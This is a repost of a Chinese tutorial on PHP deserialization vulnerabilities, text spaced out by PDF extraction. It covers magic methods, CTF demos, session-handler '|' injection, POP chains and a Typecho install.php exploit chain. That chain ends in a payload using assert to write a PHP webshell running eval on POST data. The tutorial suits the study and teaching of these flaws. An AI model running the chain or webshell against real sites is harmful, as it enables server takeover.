搜索

[19336] 2018-06-12_PHP反序列化总结

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-06-12_PHP反序列化总结 P H P 反 序 列 化 总 结 i 春 秋   2 0 1 8 - 0 6 - 1 2 作 者 ： H o r s e _ B l a c k i 春 秋 社 区 相 关 基 础 相 关 基 础 1 . 序 列 化 和 反 序 列 化 相 关 知 识 序 列 化 和 反 序 列 化 相 关 知 识 1 . 1 什 么 是 ( 反 ) 序 列 化 ： 序 列 化 是 将 变 量 ( 对 象 ) 转 换 为 可 保 存 或 传 输 的 字 符 串 的 过 程 ； 反 序 列 化 就 是 在 适 当 的 时 候 把 这 个 字 符 串 再 转 化 成 原 来 的 变 量 使 用 。 1 . 2 p h p ( 反 ) 序 列 化 常 见 的 函 数 ： S e r i a l i z e 、 U n s e r i a l i z e 、 j s o n _ e n c o d e 、 j s o n _ d e c o d e 。 1 . 3 序 列 化 之 后 的 格 式 ： a   -   a r r a y ： a : < l e n g t h > : { k e y , v a l u e   p a i r s }   a : 1 : { i : 1 ; s : 1 : " a " ; } b   -   b o o l e a n ： d   -   d o u b l e i   -   i n t e g e r o   -   o b j e c t : O : < c l a s s _ n a m e _ l e n g t h > : " < c l a s s _ n a m e > " : < n u m b e r _ o f _ p r o p e r t i e s > : { < p r o p e r t i e s > } ; O : 6 : " p e r s o n " : 3 : { s : 4 : " n a m e " ; N ; s : 3 : " a g e " ; i : 1 9 ; s : 3 : " * * " ; N ; }   / / 说 明 p e r s o n 对 象 中 n a m e 属 性 为 N u l l 、 a g e 属 性 为 1 9 ， * * 属 性 为 N u l l s   -   s t r i n g s : l e n g t h : " v a l u e " ; s : 1 : " a " ; N   -   n u l l N ; 2 . p h p 对 象 常 见 的 魔 幻 函 数 对 象 常 见 的 魔 幻 函 数 c o n s t r u c t ：   在 创 建 对 象 时 候 初 始 化 对 象 ， 一 般 用 于 对 变 量 赋 初 值 。 d e s t r u c t ：   和 构 造 函 数 相 反 ， 当 对 象 所 在 函 数 调 用 完 毕 后 执 行 。 t o S t r i n g ： 当 对 象 被 当 做 一 个 字 符 串 使 用 时 调 用 。 s l e e p : 序 列 化 对 象 之 前 就 调 用 此 方 法 ( 其 返 回 需 要 一 个 数 组 ) w a k e u p : 反 序 列 化 恢 复 对 象 之 前 调 用 该 方 法 c a l l : 当 调 用 对 象 中 不 存 在 的 方 法 会 自 动 调 用 该 方 法 。
g e t : 在 调 用 私 有 属 性 的 时 候 会 自 动 执 行 更 多 见 ： h t t p : / / p h p . n e t / m a n u a l / z h / l a n g u a g e . o o p 5 . m a g i c . p h p 测 试 ： 3 . p h p _ s e s s i o n 序 列 化 和 反 序 列 化 相 关 知 识 序 列 化 和 反 序 列 化 相 关 知 识 3 . 1   p h p _ s e s s i o n 处 理 器 p h p _ b i n a r y : 存 储 方 式 是 ， 键 名 的 长 度 对 应 的 A S C I I 字 符 + 键 名 + 经 过 s e r i a l i z e ( ) 函 数 序 列 化 处 理 的 值     p h p : 存 储 方 式 是 ， 键 名 + 竖 线 + 经 过 s e r i a l i z e ( ) 函 数 序 列 处 理 的 值 。 p h p _ s e r i a l i z e ( p h p > 5 . 5 . 4 ) : 存 储 方 式 是 ， 经 过 s e r i a l i z e ( ) 函 数 序 列 化 处 理 的 值 设 置 方 式 ： 在 p h p _ i n i 中 s e s s i o n . s e r i a l i z e _ h a n d l e r ( P H P _ I N I _ A L L )   设 置 ， 也 可 以 在 代 码 中 设 置 ： i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; 各 类 存 储 方 式 示 例 ： 代 码 ： < ? p h p i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ;   v a r _ d u m p ( $ _ S E S S I O N ) ; ? > 当 我 传 入 ? a = O : 4 : " p a s s " : 0 : { } 时 ： p h p 处 理 器 存 储 的 为 ： a | s : 1 5 : " O : 4 : " p a s s " : 0 : { } " ; p h p _ s e r i a l i z e 处 理 器 存 储 的 为 ： a : 1 : { s : 1 : " a " ; s : 1 5 : " O : 4 : " p a s s " : 0 : { } " ; } p h p _ b i n a r y 处 理 器 存 储 的 为 ： ( 乱 码 了 . . 自 己 测 试 吧 ) 3 . 2 . p h p _ i n i 中 与 p h p _ s e s s i o n 相 关 的 配 置 知 识 s e s s i o n . s a v e _ p a t h   =   " "   / / 设 置 s e s s i o n 的 存 储 路 径 s e s s i o n . a u t o _ s t a r t   =   b o o l e n   / / 指 定 会 话 模 块 是 否 在 请 求 开 始 时 启 动 一 个 会 话 ， 默 认 0 ( 不 启 动 ) s e s s i o n . s e r i a l i z e _ h a n d l e r   =   s t r i n g   / / 指 定 序 列 化 、 反 序 列 化 处 理 器 < ! - - # # # # #   3 . 3 . 熟 悉 p h p i n f o 中 相 关 配 置   - - > 常 见 的 漏 洞 常 见 的 漏 洞
1   将 传 来 的 序 列 化 将 传 来 的 序 列 化 u n s e r i l i z e ， 造 成 魔 幻 函 数 执 行 ， 造 成 魔 幻 函 数 执 行 d e m o 1 ： ： 由 b u g k u 的 一 个 题 启 发 而 写 的 一 个 缩 略 版 的 d e m o ， 原 题 链 接 ： h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 6 / t e s t 1 / < s c r i p t   l a n g u a g e = " p h p " > c l a s s   F l a g {   / / f l a g . p h p         p u b l i c   $ f i l e ;         p u b l i c   f u n c t i o n   _ _ t o s t r i n g ( ) {                 i f ( i s s e t ( $ t h i s - > f i l e ) ) {                         e c h o   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e ) ;                         e c h o   " < b r   / > " ;                 r e t u r n   ( " g o o d " ) ;                 }         } } $ p a s s w o r d   =   u n s e r i a l i z e ( $ _ G E T [ ' p a s s w o r d ' ] ) ;     e c h o   $ p a s s w o r d ;       < / s c r i p t > 关 键 点 ： 当 对 象 被 当 作 字 符 串 使 用 时 调 用 _ _ t o s t r i n g ( ) 魔 幻 函 数 ， 所 以 如 果 我 们 给 p a s s w o r d 传 入 一 个 序 列 化 的 对 象 ， 那 么 e c h o   $ p a s s w o r d   就 会 调 用 魔 幻 函 数 。 构 造 p a y l o a d ： < s c r i p t   l a n g u a g e = " p h p " > c l a s s   F l a g {   / / f l a g . p h p         p u b l i c   $ f i l e ;         p u b l i c   f u n c t i o n   _ _ t o s t r i n g ( ) {                 i f ( i s s e t ( $ t h i s - > f i l e ) ) {                         e c h o   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e ) ;                         e c h o   " < b r   / > " ;                 r e t u r n   ( " g o o d " ) ;                 }         } } $ o b j   =   n e w   F l a g ( ) ; $ o b j - > f i l e   =   " F l a g . p h p " ;     e c h o   s e r i a l i z e ( $ o b j ) ;   < / s c r i p t > 生 成 O : 4 : " F l a g " : 1 : { s : 4 : " f i l e " ; s : 8 : " f l a g . p h p " ; } 最 后 读 出 f l a g . p h p d e m o 2 : < s c r i p t   l a n g u a g e = " p h p " > c l a s s   F l a g {   / / f l a g . p h p         p u b l i c   $ f i l e ;         p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {                 i f ( i s s e t ( $ t h i s - > f i l e ) ) {                         e c h o   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e ) ;                 }         } } u n s e r i a l i z e ( $ _ G E T [ ' p a s s w o r d ' ] ) ;       < / s c r i p t >
这 个 例 子 是 利 用 的 反 序 列 化 恢 复 对 象 之 前 会 调 用 _ _ w a k e u p ( ) ， 所 以 构 造 p a y l o a d 方 法 和 d e m o 1 中 一 样 。 将 拿 到 的 序 列 化 字 符 传 入 ：     h t t p : / / l o c a l h o s t : 9 0 9 6 / t e s t 1 . p h p ? p a s s w o r d = O : 4 : " F l a g " : 1 : { s : 4 : " f i l e " ; s : 8 : " f l a g . p h p " ; } 即 可 得 到 f l a g . p h p 中 的 文 件     当 然 还 有 其 他 魔 幻 函 数 ： _ _ c o n s t r u c t 、 _ _ d e s t r u c t 都 行       总 的 来 说 ： 总 的 来 说 ： ① ： 有 可 控 的 数 据 被 反 序 列 化 ① ： 有 可 控 的 数 据 被 反 序 列 化 ② ： 有 魔 幻 函 数 中 敏 感 代 码 被 执 行 。 ② ： 有 魔 幻 函 数 中 敏 感 代 码 被 执 行 。 2   p h p   s e s s i o n 处 理 器 设 置 不 当 的 漏 洞 。 处 理 器 设 置 不 当 的 漏 洞 。 起 源 于 一 道 C T F 题 目 传 送 门 : h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 8 4 / 题 目 源 码 ： < ? p h p / / A   w e b s h e l l   i s   w a i t   f o r   y o u i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; c l a s s   O o w o O {         p u b l i c   $ m d z z ;         f u n c t i o n   _ _ c o n s t r u c t ( )         {                 $ t h i s - > m d z z   =   ' p h p i n f o ( ) ; ' ;         }         f u n c t i o n   _ _ d e s t r u c t ( )         {                 e v a l ( $ t h i s - > m d z z ) ;         }   } i f ( i s s e t ( $ _ G E T [ ' p h p i n f o ' ] ) )   {         $ m   =   n e w   O o w o O ( ) ;   } e l s e {         h i g h l i g h t _ s t r i n g ( f i l e _ g e t _ c o n t e n t s ( ' i n d e x . p h p ' ) ) ;   } ? > 第 一 眼 看 到 这 个 题 的 时 候 很 懵 逼 . . . .   没 有 数 据 可 以 输 入 的 地 方 . . . 然 后 琢 磨 了 一 下 w p . . . . .   感 觉 发 现 了 新 大 陆 . . .     从 p h p i n f o 中 可 以 发 现     s e s s i o n . s e r i a l i z e _ h a n d l e r   =   p h p _ s e r i l i z e 而 代 码 中 设 置 的 i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; 从 上 文 介 绍 相 关 处 理 器 的 时 候 可 以 知 道 ： P H P 处 理 器 ： a 为 s e s s i o n 的 键 名 ， | 后 面 为 经 过 s e r i a l i z e 处 理 的 键 值
而 p h p _ s e r i a l i z e 处 理 器 这 其 中 p h p _ s e r i a l i z e 有 一 个 特 性 ， 就 是 可 以 在 字 符 串 变 量 中 储 存   |   符 号 ， 然 后 当 我 们 以 p h p _ s e r i a l i z e 格 式 存 入 | O : 4 : " p a s s " : 0 : { } 再 以 p h p 处 理 器 处 理 ： 即 变 成 了 [ " a : 1 : { s : 1 : " a " ; s : 1 6 : " " ] 为 键 名 ， t e s t 对 象 为 值 。 d e m o 3 ( 上 述 过 程 具 体 实 现 代 码 上 述 过 程 具 体 实 现 代 码 ) ： ： < ? p h p / / i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ; ? > 实 现 步 骤 ： 实 现 步 骤 ：
1 . 设 置 设 置 p h p _ i n i 中 的 中 的 s e s s i o n . s e r i a l i z e _ h a n d l e r   =   p h p _ s e r i a l i z e ， 访 问 ， 访 问 h t t p : / / l o c a l h o s t : 9 0 9 6 / t e s t 1 . p h p ? a = | O : 4 : " t e s t " : 0 : { } , 即 写 入 即 写 入 s e s s i o n 。 。 2 . 将 上 述 代 码 注 释 去 掉 ， 并 给 将 上 述 代 码 注 释 去 掉 ， 并 给 $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ; 加 上 注 释 ， 即 可 看 到 加 上 注 释 ， 即 可 看 到 p h p 和 和 p h p _ s e r i a l i z e 处 理 处 理 | 的 漏 洞 。 的 漏 洞 。 所 以 这 里 就 可 以 利 用 这 个 特 性 给 网 页 传 入 一 个 构 造 的 p h p _ s e r i a l i z e 格 式 的 s e s s i o n ， 然 后 让 p h p 解 析 器 将 | 后 的 数 据 解 析 成 " 值 " ， 以 达 到 代 码 执 行 目 的 。 然 后 我 们 利 用 这 个 特 点 写 入 一 个 s e s s i o n ( 以 p h p _ s e r i a l i z e 格 式 ) ， 然 后 让 该 页 面 以 p h p 方 式 处 理 ， 从 而 给 $ m d z z 赋 值 ， 获 取 敏 感 信 息 。 d e m o 4 ： ： t e s t 1 . p h p < ? p h p i n i _ s e t ( ' s e s s i o n . s e r i a l i z e _ h a n d l e r ' ,   ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; / / $ _ S E S S I O N [ ' a ' ]   =   $ _ G E T [ ' a ' ] ; v a r _ d u m p ( $ _ S E S S I O N ) ; c l a s s   T e s t {         f u n c t i o n   _ _ c o n s t r u c t ( ) {                 e c h o   " _ _ c o n s t r c t " ;         }         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e c h o   " _ _ d e s t r u c t " ;                 e v a l ( p h p i n f o ( ) ) ;                       }   } ? > 本 地 事 先 存 储 了 以 p h p _ s e r i l i z e 格 式 的 s e s s i o n ： a : 1 : { s : 1 : " a " ; s : 1 6 : " | O : 4 : " T e s t " : 0 : { } 然 后 访 问 t e s t 1 . p h p 正 好 符 合 上 述 题 目 中 的 e v a l 函 数 中 的 代 码 执 行 总 的 来 说 总 的 来 说   ： ： 其 实 这 种 漏 洞 就 是 其 实 这 种 漏 洞 就 是 s e s s i o n 序 列 化 及 反 序 列 化 处 理 器 设 置 不 当 造 成 。 本 质 上 是 它 们 对 处 理 序 列 化 及 反 序 列 化 处 理 器 设 置 不 当 造 成 。 本 质 上 是 它 们 对 处 理 “ | ” 的 差 异 造 成 。 如 果 以 的 差 异 造 成 。 如 果 以 p h p _ s e r i l i z e 方 式 方 式 存 入 ， 比 如 我 们 构 造 出 存 入 ， 比 如 我 们 构 造 出 ' | '   伪 造 的 序 列 化 值 存 入 ， 但 之 后 解 析 又 是 用 的 伪 造 的 序 列 化 值 存 入 ， 但 之 后 解 析 又 是 用 的 p h p 处 理 器 的 话 ， 那 么 将 会 反 序 列 化 伪 造 的 数 据 （ 处 理 器 的 话 ， 那 么 将 会 反 序 列 化 伪 造 的 数 据 （ ' | ’ 之 前 当 之 前 当 作 键 名 ， 作 键 名 ， ' | ' 之 后 当 作 键 值 ） 之 后 当 作 键 值 ） 其 次 如 果 想 要 利 用 的 话 ， 就 是 找 到 注 入 点 ， 将 我 们 构 造 的 其 次 如 果 想 要 利 用 的 话 ， 就 是 找 到 注 入 点 ， 将 我 们 构 造 的 s e s s i o n 注 入 进 去 。 注 入 进 去 。 其 实 我 还 是 有 点 疑 问 的 其 实 我 还 是 有 点 疑 问 的 那 么 为 什 么 那 么 为 什 么 p h p 处 理 器 处 理 的 时 候 会 执 行 处 理 器 处 理 的 时 候 会 执 行 s e s s i o n 中 的 值 呢 ？ 中 的 值 呢 ？ 猜 想 ： 与 猜 想 ： 与 s e s s i o n _ s t a r t 或 者 或 者 p h p 处 理 器 有 关 处 理 器 有 关 暂 时 还 没 有 捣 鼓 出 来 暂 时 还 没 有 捣 鼓 出 来 . . .
如 何 寻 找 注 入 点 将 数 据 注 入 到 如 何 寻 找 注 入 点 将 数 据 注 入 到 s e s s i o n 上 面 说 的 那 个 C T F 题 原 理 已 经 知 道 了 ， 但 是 并 不 知 道 从 哪 注 入 s e s s i o n 。 就 我 了 解 的 而 言 ， 有 以 下 几 种 写 入 s e s s i o n 的 途 径 1 . 通 过 配 置 不 当 造 成 的 通 过 配 置 不 当 造 成 的 s e s s i o n 可 控 可 控 参 考 ： 参 考 ： h t t p s : / / b u g s . p h p . n e t / b u g . p h p ? i d = 7 1 1 0 1 当 在 p h p . i n i 中 设 置 s e s s i o n . u p l o a d _ p r o g r e s s . e n a b l e d   =   O n 的 时 候 ， P H P 将 能 够 跟 踪 上 传 单 个 文 件 的 上 传 进 度 。 当 上 传 正 在 进 行 时 ， 以 及 在 将 与 s e s s i o n . u p l o a d _ p r o g r e s s . n a m e   I N I 设 置 相 同 的 名 称 的 变 量 设 置 为 P O S T 时 ， 上 传 进 度 将 在 $   _ S E S S I O N 超 全 局 中 可 用 。 我 们 启 用 了 该 配 置 项 后 ， P O S T 一 个 和 s e s s i o n . u p l o a d _ p r o g r e s s . n a m e 同 名 变 量 的 时 候 P H P 会 将 文 件 名 保 存 在 $ _ S E S S I O N 中 所 以 构 造 一 个 提 交 文 件 的 表 单 ： < f o r m a c t i o n   = “ h t t p : / / w e b . j a r v i s o j . c o m : 3 2 7 8 4 / i n d e x . p h p ” m e t h o d   = “ P O S T ” e n c t y p e   = “ m u l t i p a r t / f o r m - d a t a ” >         < i n p u t t y p e = “ h i d d e n ” n a m e   = “ P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S ” v a l u e   = “ 1 ” / >         < i n p u t   t y p e   = “ f i l e ” n a m e   = “ f i l e ” / >         < i n p u t   t y p e   = “ s u b m i t ” / > < / f o r m > 然 后 构 造 一 个 序 列 化 的 数 据 ： < ? p h p i n i _ s e t ( ' s e s s i o n . s e r i a l i z e . h a n d l e r ' , ' p h p ' ) ; s e s s i o n _ s t a r t ( ) ; c l a s s   O o w o O {         p u b l i c   $ m d z z   =   ' p a y l o a d ' ; } $ o b j     =   n e w   O o w o O ( ) ; e c h o   s e r i a l i z e ( $ o b j ) ; ? > 即 可 使 得 析 构 函 数 中 的 e v a l ( ) 执 行 任 意 代 码 。 < ! - -   # # # 2   - - > 构 造 注 入 链 ： 构 造 注 入 链 ： p o p 1 . P O P 链 原 理 简 介 ： 链 原 理 简 介 ： 在 反 序 列 化 中 ， 我 们 能 控 制 的 数 据 就 是 对 象 中 的 属 性 值 ， 所 以 在 P H P 反 序 列 化 中 有 一 种 漏 洞 利 用 方 法 叫 " 面 向 属 性 编 程 " ， 即 P O P (   P r o p e r t y   O r i e n t e d   P r o g r a m m i n g ) 。 在 反 序 列 化 漏 洞 利 用 中 ， 最 理 想 的 情 况 就 是 漏 洞 能 利 用 的 点 在 那 几 个 魔 幻 函 数 中 ， 而 实 际 上 往 往 是 从 这 几 个 魔 幻 函 数 开 始 ， 逐 步 的 跟 进 这 个 函 数 中 调 用 的 函 数 ， 直 到 找 到 可 以 利 用 的 点 。 试 想 一 下 ， 如 果 上 面 那 个 C T F 题 目 的 代 码 执 行 函 数 e v a l ( ) 函 数 不 在 _ _ d e s t r u c t 这 类 魔 幻 函 数 中 ， 而 是 在 一 个 普 通 的 方 法 中 ， 我 们 就 没 办 法 直 接 利 用 它 执 行 代 码 了 。 这 个 时 候 就 需 要 构 造 一 个 链 ， 链 接 到 我 们 需 要 执 行 的 函 数 e v a l ( ) 。   d e m o 5 ( 模 拟 了 一 个 简 单 的 场 景 模 拟 了 一 个 简 单 的 场 景 ) ： ：
< ? p h p c l a s s   O o w o O {         p r o t e c t e d   $ o b j ;           f u n c t i o n   _ _ d e s t r u c t ( )         {                 / / $ o b j   =   n e w   t e s t 1 ;   这 里 可 以 控 制 $ o b j 为 任 意 对 象                 $ t h i s - > o b j - > a ( ) ;         } } c l a s s   t e s t 1 {         f u n c t i o n   a ( ) {                 e c h o   " 1 2 3 " ;               }   } c l a s s   t e s t 2 {         p r i v a t e   $ d a t a ;         f u n c t i o n   a ( ) {                 e v a l ( $ t h i s - > d a t a ) ;                 }   }   u n s e r i a l i z e ( $ _ G E T [ ' a ' ] ) ; ? > 利 用 ：   < s c r i p t   l a n g u a g e = " p h p " > c l a s s   O o w o O {         p r o t e c t e d   $ o b j ;         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                 $ t h i s - > o b j   =   n e w   t e s t 2 ( ) ;           }   } c l a s s   t e s t 2 {         p r i v a t e $ d a t a =   " p h p i n f o ( ) ; " ;   } e c h o   u r l e n c o d e ( s e r i a l i z e ( n e w   O o w o O ( ) ) ) ; < / s c r i p t > 结 果 ： 值 得 注 意 的 是 ， 反 序 列 化 可 以 控 制 类 的 属 性 ， 无 论 p r i v a t e 还 是 p u b l i c 。 但 是 这 里 有 个 坑 ， 如 果 类 中 存 在 p r o t e c t e d 或 者 p r i v a t e 属 性 的 时 候 ， 序 列 化 的 时 候 会 产 生 空 字 节 ， 所 以 记 得 u r l e n c o d e 一 下 ， p a y l o a d 才 会 生 效 。 d e m o 6 ： ： < ? p h p c l a s s   t e s t {         p r i v a t e   $ a = " a " ;         p r o t e c t e d   $ b = " b " ;         p u b l i c   $ c = " c " ; } e c h o   u r l e n c o d e ( s e r i a l i z e ( n e w   t e s t ( ) ) ) ; ? >
总 的 来 说 ： 如 果 魔 幻 函 数 中 没 有 漏 洞 利 用 点 ， 但 他 调 用 了 其 他 对 象 ( 意 味 着 实 例 化 了 该 对 象 ) 中 的 方 法 A ， 由 于 上 述 d e m o 5 中 我 们 传 入 的 反 序 列 化 数 据 可 以 实 例 化 任 意 对 象 ， 所 以 我 们 可 以 全 局 寻 找 一 个 和 方 法 A 同 名 的 方 法 ， 然 后 逐 个 查 看 其 他 同 名 方 法 A 中 是 否 含 有 可 利 用 的 点 。 2 . t y p e c h o 反 序 列 化 漏 洞 分 析 ： 反 序 列 化 漏 洞 分 析 ： 漏 洞 文 件 为 根 目 录 下 的 i n s t a l l . p h p ， 第 2 8 3 行 : $ c o n f i g = u n s e r i a l i z e ( b a s e 6 4 _ d e c o d e ( T y p e c h o _ C o o k i e : : g e t ( ' _ _ t y p e c h o _ c o n f i g ' ) ) ) ; $ t y p e   =   e x p l o d e ( ' _ ' ,   $ c o n f i g [ ' a d a p t e r ' ] ) ; $ t y p e   =   a r r a y _ p o p ( $ t y p e ) ; $ i n s t a l l D b   =   n e w   T y p e c h o _ D b ( $ c o n f i g [ ' a d a p t e r ' ] ,   $ c o n f i g [ ' p r e f i x ' ] ) ; $ i n s t a l l D b - > a d d S e r v e r ( $ c o n f i g ,   T y p e c h o _ D b : : R E A D   |   T y p e c h o _ D b : : W R I T E ) ; 从 c o o k i e 中 将 _ _ t y p e c h o _ c o n f i g 的 值 取 出 ， 然 后 在 T y p e c h o D b 中 实 例 化 。 这 里 就 是 漏 洞 的 注 入 点 ， 下 面 就 需 要 找 到 漏 洞 的 利 用 点 ， 接 着 搜 寻 魔 幻 函 数   _ _ c o n s t r u c t 、 _ _ d e s t r u c t 、 _ w a k e u p 。   在 / v a r / T y p e c h o / D b . p h p 中 T y p e c h o _ D b 类 ， 代 码 第 1 1 4 行 ， 找 到 一 个 _ c o n s t r u c t ( 1 ) 可 以 利 用 ， 因 为 $ a d a p t e r N a m e 变 量 存 在 字 符 串 拼 接 如 果 给 它 反 序 列 化 传 入 一 个 对 象 的 话 ， 会 调 用   _ t o s t r i n g 函 数 ( 如 果 存 在 的 话 ) 。 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ a d a p t e r N a m e ,   $ p r e f i x   =   ' t y p e c h o _ ' ) {         $ t h i s - > _ a d a p t e r N a m e = $ a d a p t e r N a m e ;         $ a d a p t e r N a m e = ' T y p e c h o _ D b _ A d a p t e r _ '   .   $ a d a p t e r N a m e ;   可 以 发 现 在 同 文 件 下 的 第 1 3 4 行 ， 实 例 化 了 $ a d a p t e r N a m e ， 会 调 用 _ _ t o s t r i n g ( 2 ) $ t h i s - > _ a d a p t e r   =   n e w   $ a d a p t e r N a m e ( ) ; 全 局 搜 索 _ _ t o s t r i n g 后 ， 在 / v a r / T y p e c h o / F e e d . p h p 中 T y p e c h o _ F e e d 类 可 以 发 现 _ _ t o s t r i n g ( 2 ) 方 法 ： 2 9 0 行 ： f o r e a c h   ( $ t h i s - > _ i t e m s   a s   $ i t e m )   {         $ c o n t e n t   . =   ' < e n t r y > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < t i t l e   t y p e = " h t m l " > < ! [ C D A T A [ '   .   $ i t e m [ ' t i t l e ' ]   .   ' ] ] > < / t i t l e > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < l i n k   r e l = " a l t e r n a t e "   t y p e = " t e x t / h t m l "   h r e f = " '   .   $ i t e m [ ' l i n k ' ]   .   ' "   / > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < i d > '   .   $ i t e m [ ' l i n k ' ]   .   ' < / i d > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < u p d a t e d > '   .   $ t h i s - > d a t e F o r m a t ( $ i t e m [ ' d a t e ' ] )   .   ' < / u p d a t e d > '   .   s e l f : : E O L ;         $ c o n t e n t = ' < p u b l i s h e d > '   .   $ t h i s - > d a t e F o r m a t ( $ i t e m [ ' d a t e ' ] )   .   ' < / p u b l i s h e d > '   .   s e l f : : E O L ;         $ c o n t e n t   . =   ' < a u t h o r >   < n a m e > '   .   $ i t e m [ ' a u t h o r ' ] - > s c r e e n N a m e   .   ' < / n a m e >   < u r i > '   .   $ i t e m [ ' a u t h o r ' ] - > u r l   .   ' < / u r i >   < / a u t h o r > '   .   s e l f : : E O L ; 在 该 段 代 码 的 倒 数 第 三 行 中 ， 如 果 构 造 $ i t e m [ ' a u t h o r ' ] 是 一 个 对 象 ， s c r e e n N a m e 是 其 私 有 属 性 ， 则 会 调 用 _ _ g e t ( 3 ) 方 法 。     然 后 在 / v a r / T y p e c h o / R e q u e s t . p h p 中 T y p e c h o _ R e q u e s t 类 中     _ _ g e t ( 3 ) 方 法 ： 2 2 6 行 p u b l i c   f u n c t i o n   _ _ g e t ( $ k e y ) {         r e t u r n   $ t h i s - > g e t ( $ k e y ) ; } 调 用 了 g e t 方 法 ： 2 9 5 行
u b l i c   f u n c t i o n   g e t ( $ k e y ,   $ d e f a u l t   =   N U L L ) {         s w i t c h   ( t r u e )   {                 c a s e   i s s e t ( $ t h i s - > _ p a r a m s [ $ k e y ] ) :                         $ v a l u e   =   $ t h i s - > _ p a r a m s [ $ k e y ] ;                         b r e a k ;                 c a s e   i s s e t ( s e l f : : $ _ h t t p P a r a m s [ $ k e y ] ) :                         $ v a l u e   =   s e l f : : $ _ h t t p P a r a m s [ $ k e y ] ;                         b r e a k ;                 d e f a u l t :                         $ v a l u e   =   $ d e f a u l t ;                         b r e a k ;         }         $ v a l u e   =   ! i s _ a r r a y ( $ v a l u e )   & &   s t r l e n ( $ v a l u e )   >   0   ?   $ v a l u e   :   $ d e f a u l t ;         r e t u r n   $ t h i s - > _ a p p l y F i l t e r ( $ v a l u e ) ; } 跟 进 一 下 _ a p p l y F i l t e r ( ) , 在 该 文 件 的 1 5 9 行 : p r i v a t e   f u n c t i o n   _ a p p l y F i l t e r ( $ v a l u e ) {         i f   ( $ t h i s - > _ f i l t e r )   {                 f o r e a c h   ( $ t h i s - > _ f i l t e r   a s   $ f i l t e r )   {                         $ v a l u e   =   i s _ a r r a y ( $ v a l u e )   ?   a r r a y _ m a p ( $ f i l t e r ,   $ v a l u e )   :                         c a l l _ u s e r _ f u n c ( $ f i l t e r ,   $ v a l u e ) ;                 } 调 用 了 c a l l _ u s e r _ f u n c ( $ f i l t e r , $ v a l u e ) 函 数 ， 找 到 了 可 以 利 用 的 点 了 。     反 过 来 分 析 ： 回 溯 查 看 一 下 $ v a l u e 变 量 的 来 源 ： 由 T y p e c h o _ R e q u e s t 类 中 的 $ _ p a r a m s 传 入 。 然 后 $ f i l t e r 在 代 码 的 1 2 0 行 有 定 义 ： p r i v a t e   $ _ f i l t e r   =   a r r a y ( ) ; 所 以 可 以 直 接 对 该 属 性 赋 值 。 再 来 考 虑 一 下 如 何 触 发 _ _ g e t ( 3 ) 方 法 ： 然 后 就 可 以 把 $ _ i t e m s 数 组 所 在 的 T y p e c h o _ F e e d 类 ， 实 例 化 传 给 $ a d a p t e r ， 从 而 触 发 _ _ t o s t r i n g ( 2 ) ， 然 后 _ c o n s t r u c t ( 1 ) 自 动 执 行 ， 即 构 成 了 完 整 的 一 条 攻 击 链 。 总 的 来 说 ， 现 在 就 很 好 理 解 这 些 数 组 的 嵌 套 关 系 了 。 A r r a y (         [ a d a p t e r ]   = >   T y p e c h o _ F e e d   O b j e c t                 (                         [ _ t y p e : T y p e c h o _ F e e d : p r i v a t e ]   = >   R S S   2 . 0                         [ _ v e r s i o n : T y p e c h o _ F e e d : p r i v a t e ]   = >   1                       [ _ c h a r s e t : T y p e c h o _ F e e d : p r i v a t e ]   = >   U T F - 8                         [ _ l a n g : T y p e c h o _ F e e d : p r i v a t e ]   = >   e n                         [ _ i t e m s : T y p e c h o _ F e e d : p r i v a t e ]   = >   A r r a y   / / $ _ i t e m s s 数 组                                 (                                       [ 0 ]   = >   A r r a y     / / $ i t e m 数 组                                                 (                                                         [ a u t h o r ]   = >   T y p e c h o _ R e q u e s t   O b j e c t   / / $ i t e m [ ' a u t h o r ' ] 赋 予 一 个 对 象 值 ， 触 发 _ _ g e t ( )                                                                 (                                                                       [ _ p a r a m s : T y p e c h o _ R e q u e s t : p r i v a t e ]   = >   A r r a y                                                                                 (                                                                                         [ s c r e e n N a m e ]   = >   f i l e _ p u t _ c o n t e n t s ( ' P a s s e r 6 y . p h p ' ,   ' < ? p h p   e v a l ( $ _ P O S T [ 1 ] ) ; ? > ' )                                                                                 )                                                                         [ _ f i l t e r : T y p e c h o _ R e q u e s t : p r i v a t e ]   = >   A r r a y                                                                                 (                                                                                       [ 0 ]   = >   a s s e r t                                                                                 )                                                               )                                                 )                                   )                 )             [ p r e f i x ]   = >   t h 1 s E X P ( c o p y   f r o m   P h 0 r s e 大 佬 ) ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理